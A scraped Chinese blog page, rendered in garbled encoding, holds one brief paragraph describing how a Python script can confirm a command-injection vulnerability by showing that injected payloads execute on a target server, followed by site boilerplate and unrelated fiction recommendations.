Python 腳本用于確認(rèn)命令執(zhí)行漏洞,因為它證明了命令可以通過來自不同系統(tǒng)的注入載荷在目標(biāo)服務(wù)器上執(zhí)行。載荷輸入到服務(wù)器的時候,不可能同時執(zhí)行相似的請求。但是,即使載荷并不是被檢測到的流量的真正來源,我們也可以輕易嘗試多次來排除錯誤情況。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,739評論 6 534
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,634評論 3 419
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,653評論 0 377
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,063評論 1 314
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 71,835評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 55,235評論 1 324
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼。 笑死,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,315評論 3 442
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 42,459評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 49,000評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 40,819評論 3 355
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,004評論 1 370
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,560評論 5 362
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 44,257評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,676評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,937評論 1 288
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,717評論 3 393
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 48,003評論 2 374

推薦閱讀更多精彩內(nèi)容